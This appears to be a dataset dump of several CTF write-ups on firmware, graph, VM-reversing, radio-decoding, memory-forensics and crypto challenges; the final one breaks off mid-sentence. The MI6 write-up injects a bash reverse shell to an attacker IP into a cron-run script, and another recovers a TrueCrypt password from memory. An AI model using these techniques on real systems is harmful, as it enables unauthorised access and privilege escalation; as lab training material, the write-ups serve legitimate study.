text_chunk
stringlengths
151
703k
## hardware/dumbiotpart1 #### The Challenge For the challenge we are just given a link (`typhoonconctf-2023-dumb-internet-of-things.chals.io`) and dump file of the device. #### First look Analyzing the `Device.dump` file with the file command we get the following output: ```Device.dump: Squashfs filesystem, little endian, version 4.0, zlib compressed, 2037751 bytes, 540 inodes, blocksize: 131072 bytes, created: Mon Jun 5 13:12:33 2023``` Since it is a file system we can mount it and traverse through it. After mounting it we get a standard Linux directory structure with [BusyBox](https://busybox.net/) which indicates that this is some kind of IoT device. After doing a bit of recon I found an executable called `runProcess` located in the `/usr/bin/` directory which isn't standard. Trying to run the binary yields the following error because of the architecture difference: ```exec format error: ./runProcess``` So insted I used [Ghidra](https://ghidra-sre.org/) to analyze the file. #### Solving the challenge Once I opened the file in Ghidra I instantly noticed some interesting Base64 strings in the main function: ```local_d60 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXJuYW1lIiwicGFzc3";local_d58 = "mFzZiBmbmFzbmtqYmdramFzIGp2rYWtqZyBhapnYUxvcmVtIGlwc3VtIGRvbHIgc2lyIHFmYXNmIGZuYXNua2piZ2tqYXMgamtha2";local_d50 = "pnIGFramdhTG9yZW0gaXBzdW0gZG9 sciBzaXIgcWZhc2YgZm5hc25ramJna2phha2pnIGrYWtqZyBhapnYUxvcmVtIGlwc3V tIGRv";local_d48 = "dvcmQiOiJwYXNzd29yZCJ9.Z3L0g6iMMOKVsIPsES_KpHID1l_JQ5tqnKxfM4NMJQkAA";``` Decoding the first string gave me the following result: ```{"alg":"HS256","typ":"JWT"}{"username":"username","pass``` This told me that there is some kind of authentication here. When I tried decoding the rest of the strings I saw that none of them gave any results that were readable so I continued analyzing the main function. The next interesting part of code was: ``` local_d10 = "https_post"; local_d08 = "typhoonconctf-2023-dumb-internet-of-things.chals.io"; local_d00 = &DAT_1200f8178; local_cf8 = "aadasnlnflanslfnlla@lkn24lnn1.knlk12n4knl0lsslkafnal.loiytyyb2bjbbjbfwakmf2uyafikw21ekjrb1kjbgike jbcavkakjfjk" ; local_cf0 = "POST /sensordata HTTP/1.1\r\nHost: %s\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\nCookie: access_token=%s\r\n\r\n%s"``` At this point it is easy to realize that this binary sends a post request to the site with a specific cookie value. The first idea I had was that the cookie value was one of the base64 strings mentioned earlier so I set one of the base64 strings as a cookie named `access_token` and accessed `typhoonconctf-2023-dumb-internet-of-things.chals.io/sensordata` where I found the flag: ![alt text](./flagsite.png "Flag on the site after authenticating successfully")
## Challenge Description A friend handed me this map and told me that it will lead me to the flag. It is confusing me and I don't know how to read it, can you help me out? ## Intuition This challenge is quite interesting. You are given a secret (the flag) which isencrypted with a password, and a hint for the password. An important detail isthat the password is composed of a few uniquely and randomly chosen words**from the US constitution**, which is given to us. Now for the hint. Consider that the password is string$s=s_1||s_2||\dots||s_n$, where for each $1 \le i \le n$, $s_i$ is a word fromthe US constitution and $||$ is string concatenation. The hint is a graph build in the following way:1. for each word used in the password there is a corresponding vertex2. for each word $s_i$, with $1 \le i \< n$, we have an edge from $i$ to $i + 1$3. $n^{1.33}$ random edges are added4. each edge in the graph is finally reversed with a $50 \\%$ chance Intuitively an exhausive search through a modified graph should give us the rightpassword, but we need to do some smart filtering of the solutions ## Solution Our goal is to revese the given graph to find the password. We can obtain anundirected graph by adding for each edge an edge in the opposite direction. Thenaive solution would just be a backtracking solution which tries attempts to findall the possible solutions. This is way too time (and space) consuming so we have todo better, in order to bypass the randomness added in step 3. Since we know what words are used, we can enforce during our backtracking thatat any point, if we haven't found a full word, each letter added leads to aprefix of a valid word and if a word is found, the next letter added eitherleads to a prefix of another word, or is the first letter of another word. A very efficient way of keeping track of all of this is to use a trie, which we fill up with all the words used for password generation. This is the full code which generates all the possible passwords from the graph: ```c++#include <fstream>#include <unordered_map>#include <unordered_set>#include <vector>#include <algorithm>#include <iostream> using namespace std; ifstream fin("./hint");ifstream fwords("./words");ofstream fout("solution.cpp.txt"); int n, m;unordered_map<int, int> coresp; char labels[28];vector < int > gr[28]; struct trie_node { trie_node(bool w) { word = w; for (int i = 0; i < 26; ++i) { nxt[i] = nullptr; } } bool word; trie_node *nxt[26];} *root = new trie_node(0); void insert(string s) { trie_node *n = root; for (const char &c : s) { if (!n->nxt[c - 'a']) { n->nxt[c - 'a'] = new trie_node(0); } n = n->nxt[c - 'a']; } n->word = 1; cerr << s << '\n';} void back(int node, trie_node *t, vector<bool> &used, string &sol) { if (t->word) { back(node, root, used, sol); } used[node] = true; sol += labels[node]; bool smth = false; for (const int &x : gr[node]) { if (used[x]) continue; if (!t->nxt[labels[x] - 'a']) continue; back(x, t->nxt[labels[x] - 'a'], used, sol); smth = true; } if (!smth && sol.size() == n && t->word) { fout << sol << '\n'; } used[node] = false; sol.pop_back();} int main() { string s; while (fwords >> s) { insert(s); } fin >> n >> m; for (int i = 0; i < n; ++i) { int label; fin >> label; coresp[label] = i; char val; fin >> val; labels[i] = val; } for (int i = 0; i < m; ++i) { int a, b; fin >> a >> b; gr[coresp[a]].push_back(coresp[b]); gr[coresp[b]].push_back(coresp[a]); } string sol = ""; vector<bool> used(n, 0); for (int i = 0; i < n; ++i) { cerr << "start " << i << '\n'; if (!root->nxt[labels[i] - 'a']) continue; back(i, root->nxt[labels[i] - 'a'], used, sol); cerr << "done " << i << '\n'; }}``` This results in a file with many duplicates. Running `cat solution.cpp.txt |sort | uniq` leads to only 13 possible passwords. Using a simple script to try each one of them gets us the correct passwords and the flag. chosenstandardsignwatergiven is bad! chosenstandardwatersigngiven is bad! givenchosenstandardsignwater is bad! givenchosenstandardwatersign is bad! givenstandardsignwaterchosen is bad! signgivenchosenstandardwater is bad! signgivenstandardwaterchosen is bad! signwatergivenchosenstandard is bad! standardsignwatergivenchosen is bad! found it: standardwatersigngivenchosen b'CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}' waterchosenstandardsigngiven is bad! watergivenchosenstandardsign is bad! watersigngivenchosenstandard is bad! ### Flag `CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}`
# MI6configuration 3 + Using james_bond credentials tried to login on ssh. ```sh┌─[attacker@parrot]─[~]└──╼ $ssh [email protected]The authenticity of host '192.168.0.133 (192.168.0.133)' can't be established.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '192.168.0.133' (ECDSA) to the list of known hosts.[email protected]'s password: Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-208-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Sat May 6 21:50:34 2023$ lsjames_bond q Shared$ ls -latotal 20drwxr-xr-x 5 root root 4096 Apr 17 15:43 .drwxr-xr-x 23 root root 4096 Apr 17 15:40 ..dr-x------ 2 james_bond root 4096 Apr 17 22:01 james_bonddr-x------ 2 q root 4096 May 3 10:27 qdr-xr-x--- 2 q agents 4096 May 3 10:27 Shared$ iduid=1002(james_bond) gid=1003(james_bond) groups=1003(james_bond),1002(agents)$ cd Shared$ ls -latotal 12dr-xr-x--- 2 q agents 4096 May 3 10:27 .drwxr-xr-x 5 root root 4096 Apr 17 15:43 ..-rwxrw---- 1 q agents 168 May 3 10:27 update.sh$ ``` As we see there total 3 folders present in `home` . `Shared` folder was accessible to `q` and `agents` group. As we can see with the `id` command `james_bond` was the member of agents group. So we `cd` into **Shared** folder and in Shared, `update.sh` owned by `q` and can be read and write by the group agents. So looking at the update.sh have this ```sh$ cat update.sh#!/bin/bash#This command will run every two minutes and scan for running processes#Doing so will protect us from being hacked#Please do not change this fileps -aux$ ``` We can add a payload to the update.sh which will be executed by the user `q` for every 2 min. Reverse shell payload for the bash : `bash -i >& /dev/tcp/192.168.0.110/8080 0>&1` ```sh$ cat update.sh#!/bin/bash#This command will run every two minutes and scan for running processes#Doing so will protect us from being hacked#Please do not change this file#ps -auxbash -i >& /dev/tcp/192.168.0.110/8080 0>&1 $``` And started a lister on port 8080 in my parrot machine. After 2 min I got a reverse shell on `q` machine ```sh┌─[attacker@parrot]─[~]└──╼ $nc -nlvp 8080listening on [any] 8080 ...connect to [192.168.0.110] from (UNKNOWN) [192.168.0.133] 44932bash: cannot set terminal process group (982): Inappropriate ioctl for devicebash: no job control in this shellq@MI6:~$ lslsflag3.txtq@MI6:~$ cat flag3.txtcat flag3.txtbyuctf{cronjobzz}q@MI6:~$ ``` > `Flag 3 : byuctf{cronjobzz}` # [Original Writeup](https://themj0ln1r.github.io/posts/byuctf23)
## Challenge Description Usage: `./chal program` Author: richard ## Intuition As the name suggests, this is a rather classic VM challenge. We're given thecpu code and a program and have to reverse it. Opening `chal` in ghidra leadsto the implementation of each instruction, which enables us to write adisassembler for the program. Most of the opcodes have pretty easyimplementations, aside from a few more interesting ones: * opcode `0x10` -> reverses the stack in a range* opcode `0x11` -> pops the top of the stack and pushes 8 bits corresponding to the popped value base 2 representation* opcode 0x12 -> pops 8 values of the stack (expected bits), interprets them as the bits of a base 2 number, and pushed the corresponding number on the stack ## Solution Looking at the disassembled code we pieced everything together. The program takes the flag as input. For each ASCII value imputed, it constructs a base-3-like number from the base-2 interpretation of the value. The result of the transformation is compared to a hard-coded value at the end, by xoring the two values together and expecting 0. Formally, if the input number was $$x_{(2)}=100101 = 37_{(10)}$$ it would be transformed to $$y_{(3)} = 1001010_{(3)} = 759_{(10)} = 247_{(10)}\text{ (mod 256)}$$ Notice that $y_{(3)}$ has the looks the same as $x_{(2)}$ **shifted to the left by one**. To get the flag, we can just iterate over the printable characters and compute a reverse dictionary with the corresponding base-3-like transformation. Then just iterate over the hard-coded values and print the value in the dictionary, indexed by the with each value as a key. ## Snippet from the decompilation ```2976: push 0 (prog); 2978: push 10 (prog); 2980: push 33 (prog); !2982: push 116 (prog); t2984: push 99 (prog); c2986: push 101 (prog); e2988: push 114 (prog); r2990: push 114 (prog); r2992: push 111 (prog); o2994: push 67 (prog); C2996: cc = 0 || 4; if stack[-1] == 0 then jump to 30032999: print(pop())3000: cc = 255 || 249; jump to 2996``` The above snippets will be executed if we input the correct flag and will print _"Correct"_. You can check the full code of the disassembler [here](https://gist.github.com/Stefan-Radu/d6ddaa06e3fdc25ed2c779743f167778) ### Flag `uiuctf{b4s3_3_1s_b4s3d_just_l1k3_vm_r3v3rs1ng}` #### Note The easier challenge `vmware1` can be solved using the exact same disassemblerand the same techniques. However, looking at it's code we notice that the code breaks after each incorrect input character. This means we can use a timing-attack style attack using `valgrind --tool=callgrind` and choosing at each point the letter that leads to the most `calls` reported in `callgrind`. Find such a script [here](https://github.com/dothidden/tools/blob/main/rev/call-count-attack/highest_value.sh).
## Challenge Description _Check out this alert that I received on a weather radio. Somebody transmitted a secret message via errors in the header! Fortunately, my radio corrected the errors and recovered the original data. But can you find out what the secret message says?_ Note: flag is not case sensitive. Author: Pomona Hints: > The header is encoded with Specific Area Message Encoding. > The three buzzes are supposed to be identical, but in this challenge, they are different due to errors. ## Intuition Even without the hints, it's pretty easy to find out about [SAME](https://en.wikipedia.org/wiki/Specific_Area_Message_Encoding). As it usually goes with this challenges, all that's left to do is find a tool that can interpret the given `.wav` file. ## Solution We found[this](https://forums.radioreference.com/threads/same-decoding.271140/#post-2210417)thread from 2013 talking precisely about what we're interested in. Using[seatty](https://www.dxsoft.com/en/products/seatty/) with the **same** setting, we got 3 messages. For each position there were two ASCII options to chose from. One of them appeared once and the other twice. By choosing the characters that appeared once, we obtained the flag. ### Flag `uiuctf{.hidden_likes_chilly_weather}`
[Original writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf23/pwn/virophage/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf23/pwn/virophage/README.md)
[Original writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf23/pwn/zapping-a-suid1/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/uiuctf23/pwn/zapping-a-suid1/README.md)
# Encrypt10n ## Encrypt10n (Part 1) ### Background We made a memory dump on the criminal machine after entering the crime scene. Our investigator thought he was using encryption software to hide the secret. can you help me to detect it? Q1 : crew{password} [Link](https://drive.google.com/file/d/1NuQXOdmXbCGVwL5HIO0DDOlFQ-ZuJnB3/view?usp=share_link) Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710143005.png) ### Find the flag **In this challenge, we can download a [file](https://drive.google.com/file/d/1NuQXOdmXbCGVwL5HIO0DDOlFQ-ZuJnB3/view?usp=share_link):**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:10:29(HKT)]└> ls -lah dump.raw && file dump.raw -rw-r--r-- 1 siunam nam 1.0G Jul 8 20:49 dump.rawdump.raw: Windows Event Trace Log``` As you can see, it's a memory dump file. To perform memory forensic, we can use a tool called **Volatility**. Through out this challenge, I'll use Volatility version 2 (volatility2). **First, we need to know the machine's profile:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:12:15(HKT)]└> python2 /opt/volatility/vol.py imageinfo -f dump.raw [...] Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86[...]``` - Found profile: `Win7SP1x86_23418` **Then, we can find all the processes in the memory dump:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:13:38(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86_23418 -f dump.raw pslist[...]0x85c596c0 TrueCrypt.exe 3196 1384 2 67 1 0 2023-02-16 12:02:07 UTC+0000 [...]``` In here, we can found that there's a `TrueCrypt.exe` process. > **TrueCrypt** is a discontinued [source-available](https://en.wikipedia.org/wiki/Source-available "Source-available") [freeware](https://en.wikipedia.org/wiki/Freeware "Freeware") [utility](https://en.wikipedia.org/wiki/Utility_software "Utility software") used for [on-the-fly encryption](https://en.wikipedia.org/wiki/On-the-fly_encryption "On-the-fly encryption") (OTFE). It can create a virtual encrypted disk within a file, or encrypt a [partition](https://en.wikipedia.org/wiki/Disk_partitioning "Disk partitioning") or the whole [storage device](https://en.wikipedia.org/wiki/Data_storage_device "Data storage device") ([pre-boot authentication](https://en.wikipedia.org/wiki/Pre-boot_authentication "Pre-boot authentication")). (From [https://en.wikipedia.org/wiki/TrueCrypt](https://en.wikipedia.org/wiki/TrueCrypt)) **In volatility2, there's a plugin called `truecryptsummary`, which displays TrueCrypt summary information:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:15:29(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86_23418 -f dump.raw truecryptsummary[...]Registry Version TrueCrypt Version 7.0aPassword Strooooong_Passwword at offset 0x8d23de44Process TrueCrypt.exe at 0x85c596c0 pid 3196Service truecrypt state SERVICE_RUNNINGKernel Module truecrypt.sys at 0x8d20a000 - 0x8d241000Symbolic Link Volume{a2e4e949-a9a8-11ed-859c-50eb71124999} -> \Device\TrueCryptVolumeZ mounted 2023-02-16 12:02:56 UTC+0000Driver \Driver\truecrypt at 0x3f02fc98 range 0x8d20a000 - 0x8d240980Device TrueCrypt at 0x84e2a9d8 type FILE_DEVICE_UNKNOWN``` Nice! We found the password! - **Flag: `crew{Strooooong_Passwword}`** ## Encrypt10n (Part 2) ### Background Congrats Investigator for finding the first part can you use it to get the secret message? [Link](https://drive.google.com/file/d/1x-857VSldVBR-ieF0bFqAD5cewLNuxVF/view?usp=sharing) Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710143015.png) ### Find the flag **In this challenge, we can download a [file](https://drive.google.com/file/d/1x-857VSldVBR-ieF0bFqAD5cewLNuxVF/view?usp=sharing):**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:21:39(HKT)]└> ls -lah flag && file flag-rw-r--r-- 1 siunam nam 10M Jul 8 21:18 flagflag: data┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:21:52(HKT)]└> head -n 3 flagK��3-��J,K�}��W��)29[|d ���C�6k��A�~�)���DA29Kw����`�u���6�B�?}����0e�]UbƢLj���!�!w.�W|z�'���;������1��F�-��q�y����ԝD&�o�e�{J#�%�|���\D�����&��%+}����ʖ�V��vl˾�����4���_ ���P:���o�P���=Βr��s�XD��av闐�L��j� �1og���@��ye�e{���p4�~,�dшkٙ�s�5��܏��:�y��rН�����l|�2�=J�?�[�Θ��n���vZލ�����Q����"�����{��<v]w+��>�Ǜ�JA�6��o���3��_����./6����F�ܽ����/��е�`�����ɍ�Z$����>K�P~ꦓh������N�:�6�/��;{$^���SԮ�ɒ|��S�����^z�'DJQ7�N�Xl��M�3ơ\���لj�>���q�``` As you can see, the `flag` file is just some raw bytes. Based on the previous part, the `flag` file should be encrypted with TrueCrypt. **So, we can use `truecrypt2john` to crack it:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:20:00(HKT)]└> truecrypt2john flag > flag.truecrypt┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:20:07(HKT)]└> john --wordlist=/usr/share/wordlists/rockyou.txt orestis_id_rsa_hash.txt┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:20:10(HKT)]└> nano password.txt┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:20:23(HKT)]└> john --wordlist=password.txt flag.truecrypt [...]Strooooong_Passwword (flag) ``` Can confirm the password is `Strooooong_Passwword`. **To decrypt the `file` file, we can use `cryptsetup`.** (All steps are from [https://kenfavors.com/code/how-to-open-a-truecrypt-container-using-cryptsetup/](https://kenfavors.com/code/how-to-open-a-truecrypt-container-using-cryptsetup/)) - Open the encrypted file container: ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:31:31(HKT)]└> sudo cryptsetup --type tcrypt open flag flag Enter passphrase for flag: ``` > Note: The first `flag` is the encrypted `flag` file, the second one is a name of your choice. - Create a folder for the volume: ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:37:26(HKT)]└> mkdir /mnt/flag``` - Mount the volume: ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:32:33(HKT)]└> sudo mount -o uid=1000 /dev/mapper/flag /mnt/flag ``` - Profit: ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n/file)-[2023.07.08|21:32:40(HKT)]└> ls -lah /mnt/flag total 12Kdrwxrwxrwx 1 siunam root 4.0K Feb 16 19:38 .drwxr-xr-x 3 root root 4.0K Jul 8 21:30 ..-rwxrwxrwx 2 siunam root 2.4K Feb 12 01:08 flaaaaaaaaaaaaaaaaaaaaaaaag.txt┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n/file)-[2023.07.08|21:32:44(HKT)]└> cat /mnt/flag/flaaaaaaaaaaaaaaaaaaaaaaaag.txt Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFac2JETlhhMk0xVjBaS2MySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZadGNFdFRNVWw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmJGSmlSMmhZV1d4b2IwMHhXbGRYYlhSWFRWZDBObGxWV2xOVWJGcFlaSHBDVjAxdVVuWlZha1pYWkVaT2MxZHNhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZaM1ZqSktWVkpZWkZkaGExcFlXa1ZhVDJNeFpITmhSMnhUVFcxb1dsWXhaRFJWTVZsNFUydGthbEp0VWxsWmJGWmhZMVpzY2xkdFJteFdia0pIVmpKNFQxWlhTa2RqUm14aFUwaENSRlpxU2tabFZsSlpZVVprVTFKWVFrbFhXSEJIVkRKU1YxZHVUbFJpVjJoeldXeG9iMWRXV1hoYVJGSnBUV3RzTkZkclZtdFdiVXB5WTBac1dtSkhhRlJXTVZwWFkxWktjbVJHVWxkaWEwcElWbXBLZWs1V1dsaFRhMXBxVWxkb1dGUlhOVU5oUmxweFVtMUdUMkpGV2xwWlZWcGhZVWRGZUdOSE9WaGhNVnBvVmtSS1QyTXlUa1phUjJoVFRXMW9lbGRYZUc5aU1XUnpWMWhvWVZKR1NuQlVWM1J6VFRGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2toaFJsSlhUVVp3VkZacVJuZFNWa1p5VDFkc1UwMHlhRmxXYlhCTFRrWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpPVFZad2VGVXlkREJXTVZweVkwWndXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUnRWa2RqUld4VllsZG9WRlJYTlc5V1ZtUlhWV3M1VWsxWFVucFdNV2h2V1ZaS1IxTnNaRlZXYkZwNlZGUkdVMk15UmtaUFYyaHBVbGhDTmxkVVFtRmpNV1IwVTJ0a1dHSlhhRmhaVkVaM1ZrWmFjVkp0ZEd0U2EzQXdXbFZhYTJGV1NuTmhNMmhYWVRGd2FGWlVSbFpsUm1SMVUyczFXRkpZUW5oV1Z6QjRZakZaZUZWc2FFOVdlbXh6V1d0YWQyVkdWWGxrUkVKWFRWWndlVll5ZUhkWGJGcFhZMGhLVjJGcldreFdha3BQVWpKS1IxcEdaRTVOUlhCS1ZqRmFVMU14VlhoWFdHaFlZbXhhVjFsc2FHOVdSbXhaWTBaa1dGWnNjRmxaTUZVMVlWVXhXRlZ1Y0ZkTlYyaDJWMVphUzFJeFRuTmFSbFpYWWtadmVsWkdWbUZaVjFKR1RsWmFVRll5YUhCVmJHaENaREZrVjFadE9WVk5WbkF3VlcwMVMxWkhTbGhoUm1oYVZrVmFNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnVTbFJoTTFKWVZGYzFiMWRHYkZWU2EzQnNVbTFTZWxsVldsTmhSVEZaVVc1b1YxWXphSEpXVkVaclVqRldjMkZGT1ZkaGVsWjVWMWQwWVdReVZrZFdibEpyVWtWS2IxbFljRWRsVmxKelZtNU9XR0pHY0ZoWk1GSlBWMnhhV0ZWclpHRldNMmhJV1RJeFIxSXlSa2hoUlRWWFYwVktSbFpxU2pSV01XeFhWVmhvWVZKWFVsWlpiWFIzWWpGV2NWTnRPVmRTYlhoNVZtMDFhMVl4V25OalNHaFdWak5vY2xaclZYaFhSbFp6WVVaa1RtRnNXazFXYWtKclV6Rk9SMVp1VWxCV2JGcFlXV3RvUTJJeFdrZFdiVVphVm14c05WVnRkRzlWUmxsNVlVWm9XbGRJUWxoVk1GcGhZMVpPY1ZWc1drNVdNVWwzVmxSS05GWXhWWGxUYTJSVVlsVmFWbFp0ZUhkTk1WcHlWMjFHYWxacmNEQlZiVEV3VmpKS2NsTnJiRmROYmxKeVdYcEdWbVF3TVVsaVIwWnNZVEZ3V1ZkWGVHOVJNVkpIVld4YVlWSldjSE5WYlRGVFYyeHNjbGRzVG1oU1ZFWjZWVEkxYjFZeFdYcGhSMmhoVWtWYVlWcFZXbXRrVmxaMFpVWk9XRkpyY0ZwV2ExcGhXVlpzVjFSclpGZGlhelZYV1cxek1WWXhXblJsUjBaWFlrWktWMVpYTlV0VlZsWlZUVVJyUFE9PQ==``` Uhh... The `flaaaaaaaaaaaaaaaaaaaaaaaag.txt` file is in base64 encoding. (You can tell it's base64 encoded is because the last 2 characters are `=`, which is a padding character in base64 encoding) **Let's `base64` decode it:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:39:58(HKT)]└> nano flag.b64 ┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:40:08(HKT)]└> base64 -d flag.b64 Vm0wd2QyUXlVWGxWV0d4WFlUSm9WMVl3Wkc5V1ZsbDNXa2M1V0ZKc2JETlhhMk0xVmpBeFYySkVUbGhoTWsweFZtcEtTMUl5U2tWVWJHaG9UVlZ3VlZadGNFZFpWMUpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GU214U2JHdzFWVEowVjFaWFNrbFJiR2hYWWxob00xWldXbXRXTVd0NllVWlNUbFpYZHpCV01uUnZVakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUhkV01ERldZMFZ3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTTW1oWlYxZDRVMVl4U2tkalJtUllZbFZhY1ZscldtRmxWbkJHVjJ4T1ZXSkdjRmxhU0hCRFZqSkZlVlJZYUZkU1JYQklXWHBHVDJSV1duTlRiV2hzWWxob1dWWXhaRFJpTWtsNFdrVmtWbUpyY0ZsWmJHaFRWMVpXY1ZKcmRGUldia0pIVmpKek5WWlhTa1pqUldoWFRXNUNhRlpxUm1GT2JFWlpZVVphYUdFeGNHOVhhMVpoVkRKT2MyTkZaR2hTTW1oeldXeG9iMWRzV1hoYVJGSnBUV3RzTTFSVmFHOVhSMHB5VGxac1dtSkhhRlJXTUZwVFZqRndSVkZyT1dsU00yaFlWbXBLTkZReFdsaFRiRnBxVWxkU1lWUlZXbUZOTVZweFUydDBWMVpyY0ZwWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1RtVkdjRWxVYldoVFRXNW9WVmRXVWs5Uk1XUnpWMWhvWVZKR1NsZFVWbFp6VFRGU2MyRkZPV2hpUlhCNldUQmFjMWR0U2tkWGJXaFhZVEZ3VkZacVJtdGtSa3AwWlVaa2FWSnNhM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWVzB4YjFZeFVsaE9WemxzWWtad2VGVXlkREJXTVZweVYyeHdXbFpXY0hKV2FrWkxWakpPUjJKR1pGZE5NRXBKVjFaU1MxVXhXWGhYYmxaV1lsaG9WRmxZY0ZkWFZscFlZMFU1YVUxWFVucFdNV2h2V1ZaS1IxTnNaRlZXYkZvelZGVmFZV1JGTlZaUFYyaHBVbGhCZDFkV1ZtOVVNVnAwVW01S1ZHSlhhRmhaVkVaM1ZrWmFjVkp1WkZOTlZrb3dXbFZrYzFVeVNuSlRhM1JYVFc1b1dGbFVSa3BsUm1SellVWlNhRTFZUW5oV1YzaHJWVEZrUjFWc2FFOVdhelZ5V1d0YWQyVkdWblJrUkVKb1lYcEdlVlJzVm5OWGJGcFhZMFJPV2xaWFVrZGFWM2hIWTIxR1IyRkhhRTVXV0VKRlZqSjRWMWxXVVhoYVJXUlZZbXR3YjFWcVNtOVdSbXh5Vm01a1YxWnNjSGhWVjNoclZrVXhXRlZzYUZkTmFsWk1WakJrUzFOR1ZuUlBWbFpYWWtoQ2IxWkdWbUZaVmxsNVVtdG9VRll5YUZoWldIQlhVMFphY1ZOcVVsWk5WMUl3VlRKNFYxVXlTa2RUYlVaVlZteHdNMVpyV21GalZrcDBVbTEwVjJKclNrbFdNblJyWXpGVmQwMUliR0ZsYTFwWVdXeG9RMVJHVWxaYVJWcHNVbTFTV2xscldsTmhSVEZ6VTI1b1YxWXphR2hhUkVaYVpVWmtkVlZ0ZUZOWFJrcFpWa1phWVZsV1RrZFdiazVXWW1zMVYxWnRlR0ZXYkZKV1ZXNUtVVlZVTURrPQ==``` Bruh, base64 heaven... ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Encrypt10n)-[2023.07.08|21:41:16(HKT)]└> base64 -d flag.b64 | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -dcrew{Tru33333_Crypt_w1th_V014t1l1ty!}``` You could write a script to automate it, but I'm lazy :D - **Flag: `crew{Tru33333_Crypt_w1th_V014t1l1ty!}`** ## Conclusion What we've learned: 1. Memory Forensic With Volatility2. Decrypting TrueCrypt Encrypted File
# UIUCTF 2023 ## Group Project > In any good project, you split the work into smaller tasks...>> Author: Anakin>> [`chal.py`](https://github.com/D13David/ctf-writeups/blob/main/uiuctf23/crypto/group_project/chal.py) Tags: _crypto_ ## SolutionFor this challenge we have the encryption script that is running on the server. ```pythondef main(): print("[$] Did no one ever tell you to mind your own business??") g, p = 2, getPrime(1024) a = randint(2, p - 1) A = pow(g, a, p) print("[$] Public:") print(f"[$] {g = }") print(f"[$] {p = }") print(f"[$] {A = }") try: k = int(input("[$] Choose k = ")) except: print("[$] I said a number...") if k == 1 or k == p - 1 or k == (p - 1) // 2: print("[$] I'm not that dumb...") Ak = pow(A, k, p) b = randint(2, p - 1) B = pow(g, b, p) Bk = pow(B, k, p) S = pow(Bk, a, p) key = hashlib.md5(long_to_bytes(S)).digest() cipher = AES.new(key, AES.MODE_ECB) c = int.from_bytes(cipher.encrypt(pad(flag, 16)), "big") print("[$] Ciphertext using shared 'secret' ;)") print(f"[$] {c = }")``` The flag is encrypted with AES-ECB, so to encrypt the flag we need to retrieve the `key`. The key is the md5-hash of `S` and `S` is calculated like this: 